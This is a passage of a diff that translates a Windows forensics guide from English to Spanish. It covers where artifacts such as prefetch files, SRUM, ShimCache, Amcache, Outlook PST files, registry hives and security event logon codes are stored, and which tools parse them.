(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) se puede usar para obtener información sobre los dispositivos USB que han sido conectados a una imagen. ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### Limpieza de Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +La tarea programada conocida como 'Limpieza de Plug and Play' está diseñada principalmente para la eliminación de versiones de controladores obsoletas. Contrario a su propósito especificado de retener la última versión del paquete de controladores, fuentes en línea sugieren que también apunta a controladores que han estado inactivos durante 30 días. En consecuencia, los controladores de dispositivos extraíbles no conectados en los últimos 30 días pueden ser objeto de eliminación. -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +La tarea se encuentra en la siguiente ruta: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +Se proporciona una captura de pantalla que muestra el contenido de la tarea: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Componentes Clave y Configuraciones de la Tarea:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Este DLL es responsable del proceso de limpieza real. +- **UseUnifiedSchedulingEngine**: Establecido en `TRUE`, indicando el uso del motor de programación de tareas genérico. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Indica al Programador de Tareas que inicie la tarea de limpieza mensualmente durante el mantenimiento automático regular. +- **Deadline ('P2M')**: Instruye al Programador de Tareas, si la tarea falla durante dos meses consecutivos, a ejecutar la tarea durante el mantenimiento automático de emergencia. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Esta configuración asegura un mantenimiento y limpieza regular de los controladores, con disposiciones para reintentar la tarea en caso de fallos consecutivos. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Para más información consulta:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## Correos Electrónicos -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Los correos electrónicos contienen **2 partes interesantes: Los encabezados y el contenido** del correo. En los **encabezados** puedes encontrar información como: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Quién** envió los correos (dirección de correo, IP, servidores de correo que han redirigido el correo) +- **Cuándo** se envió el correo -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Además, dentro de los encabezados `References` e `In-Reply-To` puedes encontrar el ID de los mensajes: ![](<../../../images/image (593).png>) -### Windows Mail App +### Aplicación de Correo de Windows -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Esta aplicación guarda correos en HTML o texto. Puedes encontrar los correos dentro de subcarpetas en `\Users\\AppData\Local\Comms\Unistore\data\3\`. Los correos se guardan con la extensión `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +Los **metadatos** de los correos y los **contactos** se pueden encontrar dentro de la **base de datos EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Cambia la extensión** del archivo de `.vol` a `.edb` y puedes usar la herramienta [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) para abrirlo. Dentro de la tabla `Message` puedes ver los correos. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Cuando se utilizan servidores Exchange o clientes de Outlook, habrá algunos encabezados MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Hora del sistema cuando se envió el correo +- `Mapi-Conversation-Index`: Número de mensajes hijos del hilo y marca de tiempo de cada mensaje del hilo +- `Mapi-Entry-ID`: Identificador del mensaje. +- `Mappi-Message-Flags` y `Pr_last_Verb-Executed`: Información sobre el cliente MAPI (¿mensaje leído? ¿no leído? ¿respondido? ¿redirigido? ¿fuera de la oficina?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +En el cliente de Microsoft Outlook, todos los mensajes enviados/recibidos, datos de contactos y datos de calendario se almacenan en un archivo PST en: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +La ruta del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica el archivo que se está utilizando. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Puedes abrir el archivo PST usando la herramienta [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### Archivos OST de Microsoft Outlook -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Un **archivo OST** es generado por Microsoft Outlook cuando está configurado con **IMAP** o un servidor **Exchange**, almacenando información similar a un archivo PST. Este archivo se sincroniza con el servidor, reteniendo datos por **los últimos 12 meses** hasta un **tamaño máximo de 50GB**, y se encuentra en el mismo directorio que el archivo PST. Para ver un archivo OST, se puede utilizar el [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Recuperando Adjuntos -Lost attachments might be recoverable from: +Los adjuntos perdidos podrían ser recuperables de: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Para **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Para **IE11 y superiores**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### Archivos MBOX de Thunderbird -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** utiliza **archivos MBOX** para almacenar datos, ubicados en `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Miniaturas de Imágenes -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP y 8-8.1**: Acceder a una carpeta con miniaturas genera un archivo `thumbs.db` que almacena vistas previas de imágenes, incluso después de la eliminación. +- **Windows 7/10**: `thumbs.db` se crea cuando se accede a través de una red mediante una ruta UNC. +- **Windows Vista y versiones más recientes**: Las vistas previas de miniaturas se centralizan en `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con archivos llamados **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) y [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) son herramientas para ver estos archivos. -### Windows Registry Information +### Información del Registro de Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +El Registro de Windows, que almacena una extensa cantidad de datos sobre la actividad del sistema y del usuario, se encuentra dentro de archivos en: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` para varias subclaves de `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` para `HKEY_CURRENT_USER`. +- Windows Vista y versiones posteriores respaldan los archivos del registro de `HKEY_LOCAL_MACHINE` en `%Windir%\System32\Config\RegBack\`. +- Además, la información sobre la ejecución de programas se almacena en `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` desde Windows Vista y Windows 2008 Server en adelante. -### Tools +### Herramientas -Some tools are useful to analyze the registry files: +Algunas herramientas son útiles para analizar los archivos del registro: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Editor del Registro**: Está instalado en Windows. Es una GUI para navegar a través del registro de Windows de la sesión actual. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Permite cargar el archivo del registro y navegar a través de él con una GUI. También contiene Marcadores que destacan claves con información interesante. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Nuevamente, tiene una GUI que permite navegar a través del registro cargado y también contiene complementos que destacan información interesante dentro del registro cargado. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Otra aplicación GUI capaz de extraer la información importante del registro cargado. -### Recovering Deleted Element +### Recuperando Elementos Eliminados -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Cuando se elimina una clave, se marca como tal, pero hasta que el espacio que ocupa sea necesario, no se eliminará. Por lo tanto, usando herramientas como **Registry Explorer** es posible recuperar estas claves eliminadas. -### Last Write Time +### Última Hora de Escritura -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Cada Clave-Valor contiene una **marca de tiempo** que indica la última vez que fue modificada. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +El archivo/hive **SAM** contiene los **usuarios, grupos y hashes de contraseñas de los usuarios** del sistema. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +En `SAM\Domains\Account\Users` puedes obtener el nombre de usuario, el RID, el último inicio de sesión, el último inicio de sesión fallido, el contador de inicios de sesión, la política de contraseñas y cuándo se creó la cuenta. Para obtener los **hashes** también **necesitas** el archivo/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Entradas Interesantes en el Registro de Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Programas Ejecutados -### Basic Windows Processes +### Procesos Básicos de Windows -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +En [esta publicación](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puedes aprender sobre los procesos comunes de Windows para detectar comportamientos sospechosos. -### Windows Recent APPs +### Aplicaciones Recientes de Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +Dentro del registro `NTUSER.DAT` en la ruta `Software\Microsoft\Current Version\Search\RecentApps` puedes encontrar subclaves con información sobre la **aplicación ejecutada**, **última vez** que fue ejecutada, y **número de veces** que fue lanzada. -### BAM (Background Activity Moderator) +### BAM (Moderador de Actividad en Segundo Plano) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Puedes abrir el archivo `SYSTEM` con un editor de registro y dentro de la ruta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puedes encontrar la información sobre las **aplicaciones ejecutadas por cada usuario** (nota el `{SID}` en la ruta) y a **qué hora** fueron ejecutadas (la hora está dentro del valor de datos del registro). -### Windows Prefetch +### Prefetch de Windows -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +El prefetching es una técnica que permite a una computadora **obtener silenciosamente los recursos necesarios para mostrar contenido** que un usuario **podría acceder en un futuro cercano** para que los recursos puedan ser accedidos más rápido. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +El prefetch de Windows consiste en crear **cachés de los programas ejecutados** para poder cargarlos más rápido. Estas cachés se crean como archivos `.pf` dentro de la ruta: `C:\Windows\Prefetch`. Hay un límite de 128 archivos en XP/VISTA/WIN7 y 1024 archivos en Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +El nombre del archivo se crea como `{program_name}-{hash}.pf` (el hash se basa en la ruta y argumentos del ejecutable). En W10, estos archivos están comprimidos. Ten en cuenta que la sola presencia del archivo indica que **el programa fue ejecutado** en algún momento. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +El archivo `C:\Windows\Prefetch\Layout.ini` contiene los **nombres de las carpetas de los archivos que se prefetch**. Este archivo contiene **información sobre el número de ejecuciones**, **fechas** de la ejecución y **archivos** **abiertos** por el programa. +Para inspeccionar estos archivos puedes usar la herramienta [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** tiene el mismo objetivo que prefetch, **cargar programas más rápido** al predecir qué se va a cargar a continuación. Sin embargo, no sustituye el servicio de prefetch.\ +Este servicio generará archivos de base de datos en `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +En estas bases de datos puedes encontrar el **nombre** del **programa**, **número** de **ejecuciones**, **archivos** **abiertos**, **volumen** **accedido**, **ruta** **completa**, **intervalos de tiempo** y **marcas de tiempo**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Puedes acceder a esta información utilizando la herramienta [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitorea** los **recursos** **consumidos** **por un proceso**. Apareció en W8 y almacena los datos en una base de datos ESE ubicada en `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Proporciona la siguiente información: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID y Ruta +- Usuario que ejecutó el proceso +- Bytes Enviados +- Bytes Recibidos +- Interfaz de Red +- Duración de la Conexión +- Duración del Proceso -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Esta información se actualiza cada 60 minutos. +Puedes obtener la fecha de este archivo utilizando la herramienta [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +El **AppCompatCache**, también conocido como **ShimCache**, forma parte de la **Base de Datos de Compatibilidad de Aplicaciones** desarrollada por **Microsoft** para abordar problemas de compatibilidad de aplicaciones. Este componente del sistema registra varias piezas de metadatos de archivos, que incluyen: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Ruta completa del archivo +- Tamaño del archivo +- Hora de última modificación bajo **$Standard_Information** (SI) +- Hora de última actualización del ShimCache +- Bandera de ejecución del proceso -Such data is stored within the registry at specific locations based on the version of the operating system: +Estos datos se almacenan en el registro en ubicaciones específicas según la versión del sistema operativo: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Para XP, los datos se almacenan en `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacidad para 96 entradas. +- Para Server 2003, así como para las versiones de Windows 2008, 2012, 2016, 7, 8 y 10, la ruta de almacenamiento es `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, acomodando 512 y 1024 entradas, respectivamente. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Para analizar la información almacenada, se recomienda utilizar la herramienta [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +El archivo **Amcache.hve** es esencialmente un hive del registro que registra detalles sobre las aplicaciones que se han ejecutado en un sistema. Se encuentra típicamente en `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Este archivo es notable por almacenar registros de procesos ejecutados recientemente, incluyendo las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema. +Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo usar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y exportar los resultados en formato CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Entre los archivos CSV generados, el `Amcache_Unassociated file entries` es particularmente notable debido a la rica información que proporciona sobre las entradas de archivos no asociadas. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +El archivo CVS más interesante generado es el `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Este artefacto solo se puede encontrar en W7 en `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` y contiene información sobre la ejecución reciente de algunos binarios. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Puedes usar la herramienta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analizar el archivo. -### Scheduled tasks +### Tareas programadas -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Puedes extraerlas de `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` y leerlas como XML. -### Services +### Servicios -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Puedes encontrarlos en el registro bajo `SYSTEM\ControlSet001\Services`. Puedes ver qué se va a ejecutar y cuándo. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\ +Este repositorio tiene un **log** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "Application ID", "PackageNumber" y "Display Name". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede encontrar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +También es posible **encontrar aplicaciones instaladas** dentro de la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Windows Events +## Eventos de Windows -Information that appears inside Windows events are: +La información que aparece dentro de los eventos de Windows es: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Qué sucedió +- Marca de tiempo (UTC + 0) +- Usuarios involucrados +- Hosts involucrados (nombre de host, IP) +- Activos accedidos (archivos, carpetas, impresoras, servicios) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Los registros se encuentran en `C:\Windows\System32\config` antes de Windows Vista y en `C:\Windows\System32\winevt\Logs` después de Windows Vista. Antes de Windows Vista, los registros de eventos estaban en formato binario y después de eso, están en **formato XML** y utilizan la extensión **.evtx**. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +La ubicación de los archivos de eventos se puede encontrar en el registro del SISTEMA en **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Se pueden visualizar desde el Visor de Eventos de Windows (**`eventvwr.msc`**) o con otras herramientas como [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Understanding Windows Security Event Logging +## Comprendiendo el registro de eventos de seguridad de Windows -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable, y cuando se alcanza su capacidad, los eventos más antiguos se sobrescriben. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a archivos, carpetas y activos compartidos. -### Key Event IDs for User Authentication: +### IDs de eventos clave para la autenticación de usuarios: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Indica que un usuario se autenticó con éxito. +- **EventID 4625**: Señala un fallo de autenticación. +- **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios. +- **EventID 4672**: Denota inicio de sesión con privilegios administrativos. -#### Sub-types within EventID 4634/4647: +#### Subtipos dentro de EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactivo (2)**: Inicio de sesión directo del usuario. +- **Red (3)**: Acceso a carpetas compartidas. +- **Lote (4)**: Ejecución de procesos por lotes. +- **Servicio (5)**: Lanzamientos de servicios. +- **Proxy (6)**: Autenticación proxy. +- **Desbloquear (7)**: Pantalla desbloqueada con una contraseña. +- **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS. +- **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso. +- **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal. +- **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio. +- **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché. +- **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché. -#### Status and Sub Status Codes for EventID 4625: +#### Códigos de estado y subestado para EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario. +- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta. +- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulte en múltiples inicios de sesión fallidos. +- **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas. +- **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión 